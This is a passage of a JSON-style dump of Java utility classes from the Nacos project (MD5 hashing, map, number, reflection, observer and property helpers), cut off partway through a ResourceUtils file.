    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\n\n/**\n * MD5 util.\n *\n * @author nacos\n */\npublic class MD5Utils {\n\n    private MD5Utils() {\n    }\n    \n    private static final char[] DIGITS_LOWER = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd',\n            'e', 'f'};\n    \n    /**\n     * Calculate MD5 hex string.\n     *\n     * @param bytes byte arrays\n     * @return MD5 hex string of input\n     * @throws NoSuchAlgorithmException if can't load md5 digest spi.\n     */\n    public static String md5Hex(byte[] bytes) throws NoSuchAlgorithmException {\n        MessageDigest messageDigest = MessageDigest.getInstance(\"MD5\");\n        return encodeHexString(messageDigest.digest(bytes));\n    }\n    \n    /**\n     * Calculate MD5 hex string with encode charset.\n     *\n     * @param value  value\n     * @param encode encode charset of input\n     * @return MD5 hex string of input\n     */\n    public static String md5Hex(String value, String encode) {\n        try {\n            return md5Hex(value.getBytes(encode));\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    /**\n     * Convert a byte array into a visible string.\n     */\n    public static String encodeHexString(byte[] bytes) {\n        int l = bytes.length;\n        \n        char[] out = new char[l << 1];\n        \n        for (int i = 0, j = 0; i < l; i++) {\n            out[j++] = DIGITS_LOWER[(0xF0 & bytes[i]) >>> 4];\n            out[j++] = DIGITS_LOWER[0x0F & bytes[i]];\n        }\n        \n        return new String(out);\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/MapUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport com.alibaba.nacos.common.NotThreadSafe;\n\nimport java.util.Collection;\nimport java.util.Dictionary;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.function.Predicate;\nimport java.util.function.BiFunction;\n\n/**\n * Map utils.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class MapUtil {\n    \n    private MapUtil() {\n    }\n    \n    /**\n     * Null-safe check if the specified Dictionary is empty.\n     *\n     * <p>Null returns true.\n     *\n     * @param map the collection to check, may be null\n     * @return true if empty or null\n     */\n    public static boolean isEmpty(Map map) {\n        return (map == null || map.isEmpty());\n    }\n    \n    /**\n     * Null-safe check if the specified Dictionary is empty.\n     *\n     * <p>Null returns true.\n     *\n     * @param coll the collection to check, may be null\n     * @return true if empty or null\n     */\n    public static boolean isEmpty(Dictionary coll) {\n        return (coll == null || coll.isEmpty());\n    }\n    \n    /**\n     * Null-safe check if the specified Dictionary is not empty.\n     *\n     * <p>Null returns false.\n     *\n     * @param map the collection to check, may be null\n     * @return true if non-null and non-empty\n     */\n    public static boolean isNotEmpty(Map map) {\n        return !isEmpty(map);\n    }\n    \n    /**\n     * Null-safe check if the specified Dictionary is not empty.\n     *\n     * <p>Null returns false.\n     *\n     * @param coll the collection to check, may be null\n     * @return true if non-null and non-empty\n     */\n    public static boolean isNotEmpty(Dictionary coll) {\n        return !isEmpty(coll);\n    }\n    \n    /**\n     * Put into map if value is not null.\n     *\n     * @param target target map\n     * @param key    key\n     * @param value  value\n     */\n    public static void putIfValNoNull(Map target, Object key, Object value) {\n        Objects.requireNonNull(key, \"key\");\n        if (value != null) {\n            target.put(key, value);\n        }\n    }\n    \n    /**\n     * Put into map if value is not empty.\n     *\n     * @param target target map\n     * @param key    key\n     * @param value  value\n     */\n    public static void putIfValNoEmpty(Map target, Object key, Object value) {\n        Objects.requireNonNull(key, \"key\");\n        if (value instanceof String) {\n            if (StringUtils.isNotEmpty((String) value)) {\n                target.put(key, value);\n            }\n            return;\n        }\n        if (value instanceof Collection) {\n            if (CollectionUtils.isNotEmpty((Collection) value)) {\n                target.put(key, value);\n            }\n            return;\n        }\n        if (value instanceof Map) {\n            if (isNotEmpty((Map) value)) {\n                target.put(key, value);\n            }\n            return;\n        }\n        if (value instanceof Dictionary) {\n            if (isNotEmpty((Dictionary) value)) {\n                target.put(key, value);\n            }\n        }\n    }\n    \n    /**\n     * ComputeIfAbsent lazy load.\n     *\n     * @param target          target Map data.\n     * @param key             map key.\n     * @param mappingFunction function which is need to be executed.\n     * @param param1          function's parameter value1.\n     * @param param2          function's parameter value1.\n     * @return\n     */\n    @NotThreadSafe\n    public static <K, C, V, T> V computeIfAbsent(Map<K, V> target, K key, BiFunction<C, T, V> mappingFunction, C param1,\n            T param2) {\n        \n        Objects.requireNonNull(target, \"target\");\n        Objects.requireNonNull(key, \"key\");\n        Objects.requireNonNull(mappingFunction, \"mappingFunction\");\n        Objects.requireNonNull(param1, \"param1\");\n        Objects.requireNonNull(param2, \"param2\");\n        \n        return target.computeIfAbsent(key, (keyInner) -> mappingFunction.apply(param1, param2));\n        \n    }\n    \n    /**\n     * remove value, Thread safety depends on whether the Map is a thread-safe Map.\n     *\n     * @param map         map\n     * @param key         key\n     * @param removeJudge judge this key can be remove\n     * @param <K>         key type\n     * @param <V>         value type\n     * @return value\n     */\n    public static <K, V> V removeKey(Map<K, V> map, K key, Predicate<V> removeJudge) {\n        return map.computeIfPresent(key, (k, v) -> removeJudge.test(v) ? null : v);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/NamespaceUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport com.alibaba.nacos.api.common.Constants;\n\n/**\n * namespace(tenant) util. Because config and naming treat namespace(tenant) differently, this tool class can only be\n * used by the config module.\n *\n * @author klw(213539 @ qq.com)\n * @date 2020/10/12 17:56\n */\npublic class NamespaceUtil {\n    \n    private NamespaceUtil() {\n    }\n    \n    /**\n     * public id，默认值为 \"public\".\n     */\n    public static String namespaceDefaultId = Constants.DEFAULT_NAMESPACE_ID;\n    \n    /**\n     * Treat the namespace(tenant) parameters with values of empty string as \"public\".\n     *\n     * @param tenant namespace(tenant) id\n     * @return java.lang.String A namespace(tenant) string processed\n     */\n    public static String processNamespaceParameter(String tenant) {\n        if (isNeedTransferNamespace(tenant)) {\n            return getNamespaceDefaultId();\n        }\n        return tenant.trim();\n    }\n    \n    public static boolean isNeedTransferNamespace(String tenant) {\n        return StringUtils.isBlank(tenant);\n    }\n    \n    /**\n     * Set default namespace id. Invoke settings at system startup.\n     *\n     * @param namespaceDefaultId 参数不能为 null\n     */\n    public static void setNamespaceDefaultId(String namespaceDefaultId) {\n        NamespaceUtil.namespaceDefaultId = namespaceDefaultId;\n    }\n    \n    /**\n     * Get default namespace id.\n     *\n     * @return namespace id\n     */\n    public static String getNamespaceDefaultId() {\n        return NamespaceUtil.namespaceDefaultId;\n    }\n    \n    /**\n     * Judge whether is default namespaceId.\n     *\n     * @param namespaceId to check namespaceId\n     * @return {@code true} if equals default namespaceId, otherwise {@code false}.\n     */\n    public static boolean isDefaultNamespaceId(String namespaceId) {\n        return StringUtils.equals(namespaceId, getNamespaceDefaultId());\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/NumberUtils.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\n/**\n * Number utils.\n * @author zzq\n */\npublic class NumberUtils {\n\n    private NumberUtils() {\n    }\n    \n    /**\n     * Convert a <code>String</code> to an <code>int</code>, returning\n     * <code>zero</code> if the conversion fails.\n     *\n     * @param str  the string to convert, may be null\n     * @return the int represented by the string, or <code>zero</code> if\n     *  conversion fails\n     */\n    public static int toInt(String str) {\n        return toInt(str, 0);\n    }\n    \n    /**\n     * Convert a <code>String</code> to an <code>int</code>, returning a\n     * default value if the conversion fails.\n     *\n     * @param str  the string to convert, may be null\n     * @param defaultValue  the default value\n     * @return the int represented by the string, or the default if conversion fails\n     */\n    public static int toInt(String str, int defaultValue) {\n        if (str == null) {\n            return defaultValue;\n        }\n        try {\n            return Integer.parseInt(str);\n        } catch (NumberFormatException nfe) {\n            return defaultValue;\n        }\n    }\n    \n    /**\n     * Convert a <code>String</code> to a <code>long</code>, returning a\n     * default value if the conversion fails.\n     *\n     * @param str  the string to convert, may be null\n     * @param defaultValue  the default value\n     * @return the long represented by the string, or the default if conversion fails\n     */\n    public static long toLong(String str, long defaultValue) {\n        if (str == null) {\n            return defaultValue;\n        }\n        try {\n            return Long.parseLong(str);\n        } catch (NumberFormatException nfe) {\n            return defaultValue;\n        }\n    }\n    \n    /**\n     * Convert a <code>String</code> to a <code>double</code>, returning a\n     * default value if the conversion fails.\n     *\n     * @param str the string to convert, may be <code>null</code>\n     * @param defaultValue the default value\n     * @return the double represented by the string, or defaultValue\n     *  if conversion fails\n     */\n    public static double toDouble(String str, double defaultValue) {\n        if (str == null) {\n            return defaultValue;\n        }\n        try {\n            return Double.parseDouble(str);\n        } catch (NumberFormatException nfe) {\n            return defaultValue;\n        }\n    }\n\n    /**\n     * Checks whether the <code>String</code> contains only\n     * digit characters.\n     *\n     * @param str  the <code>String</code> to check\n     * @return <code>true</code> if str contains only unicode numeric\n     */\n    public static boolean isDigits(String str) {\n        if (StringUtils.isEmpty(str)) {\n            return false;\n        }\n        for (int i = 0; i < str.length(); i++) {\n            if (!Character.isDigit(str.charAt(i))) {\n                return false;\n            }\n        }\n        return true;\n    }\n    \n    /**\n     * Convert a <code>String</code> to a <code>float</code>, returning\n     * <code>0.0f</code> if the conversion fails.\n     *\n     * @param str the string to convert, may be <code>null</code>\n     * @return the float represented by the string, or <code>0.0f</code>\n     *  if conversion fails\n     */\n    public static float toFloat(final String str) {\n        return toFloat(str, 0.0f);\n    }\n    \n    /**\n     * Convert a <code>String</code> to a <code>float</code>, returning a\n     * default value if the conversion fails.\n     *\n     * @param str the string to convert, may be null\n     * @param defaultValue the default value\n     * @return the float represented by the string, or defaultValue\n     *  if conversion fails\n     */\n    public static float toFloat(final String str, final float defaultValue) {\n        if (str == null) {\n            return defaultValue;\n        }\n        try {\n            return Float.parseFloat(str);\n        } catch (final NumberFormatException nfe) {\n            return defaultValue;\n        }\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/Observable.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.util.Objects;\nimport java.util.Set;\n\n/**\n * Observable utils.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class Observable {\n    \n    private transient boolean changed = false;\n    \n    private transient Set<Observer> obs = new ConcurrentHashSet<>();\n    \n    private volatile int observerCnt = 0;\n    \n    /**\n     * Adds an observer to the set of observers for this object, provided that it is not the same as some observer\n     * already in the set. The order in which notifications will be delivered to multiple observers is not specified.\n     * See the class comment.\n     *\n     * @param o an observer to be added.\n     * @throws NullPointerException if the parameter o is null.\n     */\n    public synchronized void addObserver(Observer o) {\n        Objects.requireNonNull(o, \"Observer\");\n        obs.add(o);\n        observerCnt++;\n        o.update(this);\n    }\n    \n    /**\n     * Deletes an observer from the set of observers of this object. Passing {@code null} to this method will have no\n     * effect.\n     *\n     * @param o the observer to be deleted.\n     */\n    public synchronized void deleteObserver(Observer o) {\n        obs.remove(o);\n        observerCnt--;\n    }\n    \n    /**\n     * If this object has changed, as indicated by the {@code hasChanged} method, then notify all of its observers and\n     * then call the {@code clearChanged} method to indicate that this object has no longer changed.\n     *\n     * <p>Each observer has its {@code update} method called with one argument: this observable object.\n     */\n    public void notifyObservers() {\n        synchronized (this) {\n            /* We don't want the Observer doing callbacks into\n             * arbitrary code while holding its own Monitor.\n             * The code where we extract each Observable from\n             * the Vector and store the state of the Observer\n             * needs synchronization, but notifying observers\n             * does not (should not).  The worst result of any\n             * potential race-condition here is that:\n             * 1) a newly-added Observer will miss a\n             *   notification in progress\n             * 2) a recently unregistered Observer will be\n             *   wrongly notified when it doesn't care\n             */\n            if (!changed) {\n                return;\n            }\n            clearChanged();\n        }\n        for (Observer observer : obs) {\n            observer.update(this);\n        }\n    }\n    \n    /**\n     * Clears the observer list so that this object no longer has any observers.\n     */\n    public void deleteObservers() {\n        obs.clear();\n    }\n    \n    /**\n     * Marks this {@code Observable} object as having been changed; the {@code hasChanged} method will now return {@code\n     * true}.\n     */\n    protected synchronized void setChanged() {\n        changed = true;\n    }\n    \n    /**\n     * Indicates that this object has no longer changed, or that it has already notified all of its observers of its\n     * most recent change, so that the {@code hasChanged} method will now return {@code false}. This method is called\n     * automatically by the {@code notifyObservers} methods.\n     *\n     * @see java.util.Observable#notifyObservers()\n     * @see java.util.Observable#notifyObservers(java.lang.Object)\n     */\n    protected synchronized void clearChanged() {\n        changed = false;\n    }\n    \n    /**\n     * Tests if this object has changed.\n     *\n     * @return {@code true} if and only if the {@code setChanged} method has been called more recently than the {@code\n     * clearChanged} method on this object; {@code false} otherwise.\n     */\n    public synchronized boolean hasChanged() {\n        return changed;\n    }\n    \n    /**\n     * Returns the number of observers of this {@code Observable} object.\n     *\n     * @return the number of observers of this object.\n     */\n    public int countObservers() {\n        return observerCnt;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/Observer.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\n/**\n * Obeserver.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n * @author xiweng.yy\n */\npublic interface Observer {\n    \n    /**\n     * This method is called whenever the observed object is changed. An application calls an {@code Observable}\n     * object's {@code notifyObservers} method to have all the object's observers notified of the change.\n     *\n     * @param o the observable object.\n     */\n    void update(Observable o);\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/Pair.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\n/**\n * Pair.\n *\n * @author nacos\n */\npublic class Pair<A, B> {\n    \n    private final A first;\n    \n    private final B second;\n    \n    Pair(A first, B second) {\n        this.first = first;\n        this.second = second;\n    }\n    \n    public static <A, B> Pair<A, B> with(A first, B second) {\n        return new Pair<>(first, second);\n    }\n    \n    public A getFirst() {\n        return first;\n    }\n    \n    public B getSecond() {\n        return second;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/Preconditions.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.util.Objects;\n\n/**\n * Check precondition, throws an {@code IllegalArgumentException} If the conditions are not met.\n * @author zzq\n * @date 2021/7/29\n */\npublic class Preconditions {\n\n    private Preconditions() {\n    }\n\n    /**\n     * check precondition.\n     * @param expression a boolean expression\n     * @param errorMessage the exception message to use if the check fails\n     * @throws IllegalArgumentException if {@code expression} is false\n     */\n    public static void checkArgument(boolean expression, Object errorMessage) {\n        if (Objects.isNull(errorMessage)) {\n            throw new IllegalArgumentException(\"errorMessage cannot be null.\");\n        }\n        if (!expression) {\n            throw new IllegalArgumentException(String.valueOf(errorMessage));\n        }\n    }\n    \n    /**\n     * check precondition.\n     * @param expression a boolean expression\n     * @param errorMessageTemplate the exception message template to use if the check fails\n     * @param errorMessageArgs the arguments to be substituted into the message template.\n     * @throws IllegalArgumentException if {@code expression} is false\n     */\n    public static void checkArgument(boolean expression, String errorMessageTemplate, Object... errorMessageArgs) {\n        if (Objects.isNull(errorMessageArgs) || Objects.isNull(errorMessageTemplate)) {\n            throw new IllegalArgumentException(\"errorMessageTemplate or errorMessage cannot be null.\");\n        }\n        if (!expression) {\n            throw new IllegalArgumentException(String.format(errorMessageTemplate, errorMessageArgs));\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/PropertyUtils.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\n/**\n * A convenient tool to get property or env value.\n *\n * @author Pixy Yuan on 2022/3/24\n */\npublic class PropertyUtils {\n\n    private PropertyUtils() {\n    }\n    \n    private static final String PROCESSORS_ENV_NAME = \"NACOS_COMMON_PROCESSORS\";\n    \n    private static final String PROCESSORS_PROP_NAME = \"nacos.common.processors\";\n    \n    /**\n     * Get system env or property value.\n     *\n     * <p>If {@link System#getenv()} has no value for {@code envName},\n     * return {@link System#getProperty(String)}.\n     */\n    public static String getProperty(String propertyName, String envName) {\n        return System.getenv().getOrDefault(envName, System.getProperty(propertyName));\n    }\n    \n    /**\n     * Get system env or property value.\n     *\n     * <p>If {@link System#getenv()} has no value for {@code envName},\n     * return {@link System#getProperty(String, String)} or {@code defaultValue}.\n     */\n    public static String getProperty(String propertyName, String envName, String defaultValue) {\n        return System.getenv().getOrDefault(envName, System.getProperty(propertyName, defaultValue));\n    }\n    \n    /**\n     * Get processors count maybe preset by env or property.\n     */\n    public static int getProcessorsCount() {\n        int processorsCount = 0;\n        String processorsCountPreSet = getProperty(PROCESSORS_PROP_NAME, PROCESSORS_ENV_NAME);\n        if (processorsCountPreSet != null) {\n            try {\n                processorsCount = Integer.parseInt(processorsCountPreSet);\n            } catch (NumberFormatException ignored) {\n            }\n        }\n        if (processorsCount <= 0) {\n            processorsCount = Runtime.getRuntime().availableProcessors();\n        }\n        return processorsCount;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/RandomUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.util.Random;\n\n/**\n * Random utils.\n *\n * @author zzq\n */\npublic class RandomUtils {\n\n    private RandomUtils() {\n    }\n    \n    /**\n     * Random Object for random method.\n     */\n    private static final Random RANDOM = new Random();\n    \n    /**\n     * Returns a random long within the specified range.\n     *\n     * @param startInclusive the smallest value that can be returned, must be non-negative\n     * @param endExclusive   the upper bound (not included)\n     * @return the random long\n     * @throws IllegalArgumentException if startInclusive or endExclusive illegal\n     */\n    public static long nextLong(final long startInclusive, final long endExclusive) {\n        checkParameters(startInclusive, endExclusive);\n        long diff = endExclusive - startInclusive;\n        if (diff == 0) {\n            return startInclusive;\n        }\n        return (long) (startInclusive + (diff * RANDOM.nextDouble()));\n    }\n    \n    /**\n     * Returns a random integer within the specified range.\n     *\n     * @param startInclusive lower limit, must be non-negative\n     * @param endExclusive   the upper bound (not included)\n     * @return the random integer\n     * @throws IllegalArgumentException if startInclusive or endExclusive illegal\n     */\n    public static int nextInt(final int startInclusive, final int endExclusive) {\n        checkParameters(startInclusive, endExclusive);\n        int diff = endExclusive - startInclusive;\n        if (diff == 0) {\n            return startInclusive;\n        }\n        return startInclusive + RANDOM.nextInt(diff);\n    }\n    \n    /**\n     * Check input parameters.\n     *\n     * @param startInclusive lower limit, must be non-negative\n     * @param endExclusive   the upper bound (not included)\n     */\n    private static void checkParameters(final long startInclusive, final long endExclusive) {\n        if (endExclusive < startInclusive) {\n            throw new IllegalArgumentException(\"startInclusive must be less than or equal to the endExclusive.\");\n        }\n        if (startInclusive < 0) {\n            throw new IllegalArgumentException(\"Both parameters must be non-negative\");\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/ReflectUtils.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.UndeclaredThrowableException;\n\n/**\n * reflect utils.\n *\n * @author liuzunfei\n * @version $Id: ReflectUtils.java, v 0.1 2020年08月20日 12:57 PM liuzunfei Exp $\n */\npublic class ReflectUtils {\n\n    private ReflectUtils() {\n    }\n    \n    /**\n     * get filed value of  obj.\n     *\n     * @param obj       obj.\n     * @param fieldName file name to get value.\n     * @return field value.\n     */\n    public static Object getFieldValue(Object obj, String fieldName) {\n        try {\n            Field field = obj.getClass().getDeclaredField(fieldName);\n            field.setAccessible(true);\n            return field.get(obj);\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    /**\n     * get filed value of  obj.\n     *\n     * @param obj       obj.\n     * @param fieldName file name to get value.\n     * @return field value.\n     */\n    public static Object getFieldValue(Object obj, String fieldName, Object defaultValue) {\n        try {\n            Field field = obj.getClass().getDeclaredField(fieldName);\n            field.setAccessible(true);\n            return field.get(obj);\n        } catch (Exception e) {\n            return defaultValue;\n        }\n    }\n    \n    /**\n     * Get the field represented by the supplied {@link Field field object} on the specified {@link Object target\n     * object}. In accordance with {@link Field#get(Object)} semantics, the returned value is automatically wrapped if\n     * the underlying field has a primitive type.\n     *\n     * <p>Thrown exceptions are handled via a call to {@link #handleReflectionException(Exception)}.\n     *\n     * @param field  the field to get\n     * @param target the target object from which to get the field (or {@code null} for a static field)\n     * @return the field's current value\n     */\n    public static Object getField(Field field, Object target) {\n        try {\n            return field.get(target);\n        } catch (IllegalAccessException ex) {\n            handleReflectionException(ex);\n        }\n        throw new IllegalStateException(\"Should never get here\");\n    }\n    \n    /**\n     * Handle the given reflection exception.\n     *\n     * <p>Should only be called if no checked exception is expected to be thrown\n     * by a target method, or if an error occurs while accessing a method or field.\n     *\n     * <p>Throws the underlying RuntimeException or Error in case of an\n     * InvocationTargetException with such a root cause. Throws an IllegalStateException with an appropriate message or\n     * UndeclaredThrowableException otherwise.\n     *\n     * @param ex the reflection exception to handle\n     */\n    public static void handleReflectionException(Exception ex) {\n        if (ex instanceof NoSuchMethodException) {\n            throw new IllegalStateException(\"Method not found: \" + ex.getMessage());\n        }\n        if (ex instanceof IllegalAccessException) {\n            throw new IllegalStateException(\"Could not access method or field: \" + ex.getMessage());\n        }\n        if (ex instanceof InvocationTargetException) {\n            handleInvocationTargetException((InvocationTargetException) ex);\n        }\n        if (ex instanceof RuntimeException) {\n            throw (RuntimeException) ex;\n        }\n        throw new UndeclaredThrowableException(ex);\n    }\n    \n    /**\n     * Handle the given invocation target exception. Should only be called if no checked exception is expected to be\n     * thrown by the target method.\n     *\n     * <p>Throws the underlying RuntimeException or Error in case of such a root\n     * cause. Throws an UndeclaredThrowableException otherwise.\n     *\n     * @param ex the invocation target exception to handle\n     */\n    public static void handleInvocationTargetException(InvocationTargetException ex) {\n        rethrowRuntimeException(ex.getTargetException());\n    }\n    \n    /**\n     * Rethrow the given {@link Throwable exception}, which is presumably the\n     * <em>target exception</em> of an {@link InvocationTargetException}.\n     * Should only be called if no checked exception is expected to be thrown by the target method.\n     *\n     * <p>Rethrows the underlying exception cast to a {@link RuntimeException} or\n     * {@link Error} if appropriate; otherwise, throws an {@link UndeclaredThrowableException}.\n     *\n     * @param ex the exception to rethrow\n     * @throws RuntimeException the rethrown exception\n     */\n    public static void rethrowRuntimeException(Throwable ex) {\n        if (ex instanceof RuntimeException) {\n            throw (RuntimeException) ex;\n        }\n        if (ex instanceof Error) {\n            throw (Error) ex;\n        }\n        throw new UndeclaredThrowableException(ex);\n    }\n    \n    /**\n     * Invoke the specified {@link Method} against the supplied target object with the supplied arguments. The target\n     * object can be {@code null} when invoking a static {@link Method}.\n     *\n     * <p>Thrown exceptions are handled via a call to {@link #handleReflectionException}.\n     *\n     * @param method the method to invoke\n     * @param target the target object to invoke the method on\n     * @param args   the invocation arguments (may be {@code null})\n     * @return the invocation result, if any\n     */\n    public static Object invokeMethod(Method method, Object target, Object... args) {\n        try {\n            return method.invoke(target, args);\n        } catch (Exception ex) {\n            handleReflectionException(ex);\n        }\n        throw new IllegalStateException(\"Should never get here\");\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/ResourceUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.Reader;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.util.Properties;\n\n/**\n * resource util.\n *\n * @author boyan\n */\npublic class ResourceUtils {\n\n    private ResourceUtils() {\n    }\n    \n    private static final String CLASSPATH_PREFIX = \"classpath:\";\n    \n    /**\n     * Returns the URL of the resource on the classpath.\n     *\n     * @param resource The resource to find\n     * @return The resource\n     * @throws IOException If the resource cannot be found or read\n     */\n    public static URL getResourceUrl(String resource) throws IOException {\n        if 